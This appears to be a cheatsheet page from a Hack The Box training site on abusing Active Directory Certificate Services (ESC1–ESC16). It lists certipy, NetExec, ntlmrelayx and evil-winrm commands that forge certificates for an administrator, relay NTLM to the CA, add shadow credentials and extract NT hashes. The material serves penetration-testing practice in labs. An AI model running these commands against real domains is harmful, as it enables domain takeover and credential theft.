Search everything Ctrl K
T1649

Steal or Forge Authentication Certificates

Abusing Active Directory Certificate Services (ESC1-ESC16) to get a certificate on behalf of another user.

How it shows up on Hack The Box

Whenever the domain has a CA, run certipy find -vulnerable. An administrator's certificate turns into their NT hash with certipy auth (PKINIT).

Techniques in our catalog that match this one (the number is their machines):

Machines to practice it

Sorted from easiest to hardest. The ▶ link takes you to the minute of the IppSec video where it is used.

Guides

Commands

Taken from our cheatsheets and tool pages. Type your details and they are filled into every command.

Your values Saved in this browser and applied to every cheatsheet.

Windows and Active Directory privilege escalation › Active Directory

Vulnerable certificate templates (ADCS) 
certipy-ad find -u '[email protected]' -p 'Password123!' -dc-ip 10.10.11.20 -vulnerable -stdout

Active Directory in depth › ADCS (ESC1–16)

Certipy scan (names the ESC) Attacker 
certipy find -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -vulnerable -stdout
Enumerate the CA with NetExec Attacker 
nxc ldap 10.10.11.20 -u usuario -p 'Password123!' -M adcs
Request the certificate with another SAN Attacker 
certipy req -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -ca CA-NAME -template VulnTemplate -upn [email protected]
Authenticate with the cert and get the NT hash Attacker 
certipy auth -pfx administrator.pfx -dc-ip 10.10.11.20
ESC3: request an agent cert and, with it, one on behalf of another Attacker 
certipy req -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -ca CA-NAME -template EnrollmentAgent
certipy req -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -ca CA-NAME -template User -on-behalf-of 'box.htb\administrator' -pfx agent.pfx
Make it vulnerable and restore it Attacker 
certipy template -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -template VulnTemplate -write-default-configuration
ESC7: grant yourself Manage Certificates and approve your own request Attacker 
certipy ca -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -ca CA-NAME -add-officer usuario
Relay to the CA and get a machine cert Attacker 
certipy relay -target 'http://ca.box.htb/certsrv/certfnsh.asp' -template DomainController
Change the UPN of a user you control and request the cert as them Attacker 
certipy account update -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -user victima -upn [email protected]
ESC15: application policy with client-auth EKU Attacker 
certipy req -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -ca CA-NAME -template WebServer -application-policies 'Client Authentication'

Active Directory in depth › NTLM relay

Relay to the CA (ESC8) for a machine cert Attacker 
impacket-ntlmrelayx -t http://ca.box.htb/certsrv/certfnsh.asp -smb2support --adcs --template DomainController

Active Directory in depth › Delegation

Add a key and get the NT hash with certipy Attacker 
certipy shadow auto -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -account victima

Certipy › When PKINIT does not work

LDAP shell authenticated with the certificate 
certipy auth -pfx administrator.pfx -dc-ip 10.10.11.20 -ldap-shell

If the DC does not support PKINIT (KDC_ERR_PADATA_TYPE_NOSUPP), log in over LDAPS with Schannel and change a password or set up RBCD from there.

Evil-WinRM › Ways to authenticate

With a certificate (from ADCS, for instance) 
evil-winrm -i 10.10.11.20 -S -c certificado.crt -k clave.key

Tools